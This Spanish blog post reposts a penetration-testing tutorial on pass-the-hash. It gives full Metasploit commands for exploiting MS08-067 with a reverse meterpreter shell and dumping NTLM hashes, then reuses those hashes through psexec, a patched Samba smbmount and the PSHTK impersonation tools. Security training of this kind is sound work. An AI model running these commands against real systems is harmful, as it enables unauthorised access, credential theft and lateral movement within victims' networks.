Banner 1

Pass-the-Hash con MetaSploit, SAMBA Patch y PSHTK

Este es el nombre a una muy buena entrada que he visto ahora navegando por mis rss y ps como siempre quiero compartirlas con ustedes.

--------------------------------------------------------------------------------------------------------------

En este artículo, vamos a utilizar el módulo PSEXEC de MetaSploit, el patch para SAMBA de JoMo-kun (Foofus) y el Pass-the-Hash Toolkit "PSHTK" de Hernán Ochoa.

Durante un Pentest, conseguir un password es algo muy valioso, pero por qué realizar ataques de fuerza bruta, o dedicar meses crackeando una contraseña, cuando simplemente podemos utilizar el hash sin crackear de la víctima.

La técnica de Pass-the-Hash ha estado entre nosotros por más de 13 años, siendo publicada originalmente en 1997 por Paul Ashton. Desde entonces aparecieron varias herramientas, con algunas limitaciones superadas en los últimos tiempos, que lograron que estas, también sean más fáciles de utilizar.

La idea de este post, es realizar una pequeña introducción a Pass-the-Hash, para seguir profundizando luego en futuros artículos. A continuación, vamos a ver como obtener los hashes de la víctima con el comando hashdump de meterpreter, y cómo utilizar estos hashes, con el módulo PSEXEC de MetaSploit, el patch para SAMBA de JoMo-kun (Foofus) y el Pass-the-Hash Toolkit "PSHTK" de Hernán Ochoa.

Para quienes quieran conocer más profundamente como funciona esta técnica, les recomiendo leer el paper de Bashar Ewaida publicado en SANS, y ver la presentación de Jose Selvi (pentester.es) que realizó en la FIST de Barcelona.


Obteniendo los Hashes

Hay muchas formas de obtener los hashes de la víctima, pero a continuación lo vamos a hacer explotando una vulnerabilidad con MetaSploit, y luego utilizando el comando "hashdump" de meterpreter:

use windows/smb/ms08_067_netapi
set RHOST 192.168.1.37
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.1.15
exploit
meterpreter > hashdump
Administrador:500:e52cac67419a9a224a3b108f3fa6cb6d:8846f7eaee8fb117ad06bdd830b7586c:::
Invitado:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
IUSR_EVILNINJA:1001:4cd3d6f079c529c6139f413c08fb0bc0:1814558a03e2e6be1e896abd343275b2:::
IWAM_EVILNINJA:1002:d2d8bbad7184a0fa5c262f913af7c48d:88f10abdecbc1c6d84b9d2d193e01334:::
student:1006:e52cac67419a9a224a3b108f3fa6cb6d:8846f7eaee8fb117ad06bdd830b7586c:::
TsInternetUser:1000:889651ab45c9556e39af38e766c662c9:fb46d1badeacd92c1f11cd4a68945f6b:::
meterpreter >

Una vez obtenidos los hashes, el paso lógico seria crackearlos con herramientas como John the Ripper, Cain & Abel o Ophcrack, pero en este caso la idea es utilizarlos directamente, para loguearnos al sistema víctima, sin crackear el hash.


Pass-the-Hash con PSEXEC de MetaSploit

El módulo PSEXEC de Metasploit, es similar a la herramienta psexec de Sysinternals, que permite ejecutar comandos remotos en Windows. Solo que en este caso, también nos permite realizar Pass-the-Hash. 

Después de cargar el módulo, simplemente configuramos la variable "SMBPass" con el hash de Administrador que obtuvimos previamente.

use windows/smb/psexec
set RHOST 192.168.1.37
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.1.15
set SMBUser Administrador
set SMBPass e52cac67419a9a224a3b108f3fa6cb6d:8846f7eaee8fb117ad06bdd830b7586c
exploit

El payload que tenemos configurado nos entregará un meterpreter reverso, pero podríamos utilizar cualquier otro payload.


Pass-the-Hash con el patch para SAMBA de JoMo-kun

La idea de los patches de JoMo-kun, es darle a SAMBA la habilidad de utilizar Pass-the-Hash. Existe un patch para la versión 3.3.7 de SAMBA, pero por alguna razón que no tengo ganas de comprender, una vez que esta todo compilado me tira segfaults. Así que lo haremos con la versión 3.0.22 de SAMBA que funciona muy bien:

# Bajamos los dos patch de JoMo-kun y SAMBA 3.0.22
wget http://www.foofus.net/jmk/tools/samba-3.0.22-passhash.patch
wget http://www.foofus.net/jmk/tools/samba-3.0.22-add-user.patch
wget http://us3.samba.org/samba/ftp/old-versions/samba-3.0.22.tar.gz

# Descomprimimos SAMBA y aplicamos los patchs
tar xvfz samba-3.0.22.tar.gz
patch -p0 
patch -p0 

# Configuramos y compilamos
cd samba-3.0.22/source/
./configure --with-smbmount
make

Si no tienen problema en "ensuciar" su distro con este SAMBA viejo patcheado, es recomendable hacer un "make install", de lo contrario van a tener que hacer un par de symlinks para algunos archivos que son llamados al path de instalación.

Una vez que esta todo instalado, exportamos la variable "SMBHASH" con el hash de Administrador que obtuvimos previamente:

export SMBHASH="e52cac67419a9a224a3b108f3fa6cb6d:8846f7eaee8fb117ad06bdd830b7586c"

Luego, entramos al directorio "bin", y ejecutamos el comando "smbmount" para montar el share de la víctima utilizando como password un hash. Cuando "smbmount" pregunta por un "Password:", debemos escribir algo, cualquier cosa, ya que si lo dejamos vacío intentará loguearse como guest.

./smbmount //10.168.0.127/c$ /mnt/victima -o username=administrador
Password:
HASH PASS: Substituting user supplied NTLM HASH...
HASH PASS: Substituting user supplied NTLM HASH...
HASH PASS: Substituting user supplied LM HASH...

Ahora, cuando entremos al directorio "/mnt/victima", vamos a encontrar todo el share de la víctima montado en nuestro filesystem.


Pass the Hash con PSHTK de Hernán Ochoa

Sin dudas PSHTK es la más poderosa de todas las herramientas, principalmente porque funciona bajo Windows, y nos va a permitir usar todas las aplicaciones de este sistema nativamente.

PSHTK tiene dos archivos importantes, WHOSTHERE.EXE, que va a listar las sesiones que se loguearon en el sistema, y IAM.EXE, que nos va a permitir impersonar al usuario víctima.

Ambos programas, obtienen la información sobre los hashes de los usuarios que se loguearon, de la librería LSASRV.DLL en memoria. Como la dirección de memoria cambia según el sistema, puede pasar que esta  dirección no sea hallada automáticamente, y se la debamos pasar nosotros a través de la opción "-a".

Hernán mantiene en este website, un listado de sistemas con sus respectivas direcciones de memoria. Pero si no esta allí la dirección para el sistema que están usando, como me paso en este caso, deberemos obtener la dirección por nuestra cuenta. Para ello, les recomiendo seguir los pasos del excelente artículo que escribió Jose Selvi en su blog.

Para un Windows XP SP2 en español 
whosthere -a 753F642C:753F3F1B:7547FC38:7547FC40:7547EC40:7547EE34

Primero listamos los usuarios logueados en el sistema, y vemos que estamos con el usuario "admin":

whosthere.exe -a 753F642C:753F3F1B:7547FC38:7547FC40:7547EC40:7547EE34
(recortado, para mejor visualización)
admin:KUNGF52EB87CC7:E52CAC67419A9A224A3B108F3FA6CB6D:8846F7EAEE8FB117AD06BDD830B7586C
KUNG-F52EB87CC7$:INICIOMS:AAD3B435B51404EEAAD3B435B51404EE:31D6CFE0D16AE931B73C59D7E0C089C0

Luego, impersonamos al usuario víctima, en este caso "kungfoosion":

iam.exe -a 753F642C:753F3F1B:7547FC38:7547FC40:7547EC40:7547EE34 -h 
kungfoosion:INICIOMS:E52CAC67419A9A224A3B108F3FA6CB6D:8846F7EAEE8FB117AD06BDD830B7586C
IAM v1.4 - by Hernan Ochoa (hochoa@coresecurity.com, hernan@gmail.com) - 
(c) 2007-2008 Core Security Technologies
Parameters:
Username: kungfoosion
Domainname: INICIOMS
LM hash: E52CAC67419A9A224A3B108F3FA6CB6D
NT hash: 8846F7EAEE8FB117AD06BDD830B7586C
Run:
LSASRV.DLL version: 00050001h. A280884h
Checking LSASRV.DLL....Ok! using supplied addresses.
The current logon credentials were sucessfully changed!

Finalmente, podemos observar que impersonamos exitosamente a ese usuario:

whosthere.exe -a 753F642C:753F3F1B:7547FC38:7547FC40:7547EC40:7547EE34
(recortado, para mejor visualización)
kungfoosion:INICIOMS:E52CAC67419A9A224A3B108F3FA6CB6D:8846F7EAEE8FB117AD06BDD830B7586C
KUNG-F52EB87CC7$:INICIOMS:AAD3B435B51404EEAAD3B435B51404EE:31D6CFE0D16AE931B73C59D7E0C089C0

Esto es todo amigos, no dejen de probarlo que esta muy bueno!! :)
FUENTE ORIGINAL

http://www.kungfoosion.com

REFERENCIAS:
- Paul Ashton (1997): NT "Pass the Hash" with Modified SMB Client Vulnerability
- Core Security: Pass-The-Hash Toolkit
- HEXALE: Blog de Hernán Ochoa
- pentester.es: Pass-the-hash Toolkit & IDA Pro
- pentester.es: Windows Post-Explotation & Pass-the-Hash
- pentester.es: Técnicas Pass-the-Hash
- foofus.net: JoMo-kun patch para SAMBA

No hay comentarios:

Powered by Bad Robot
Helped by Blackubay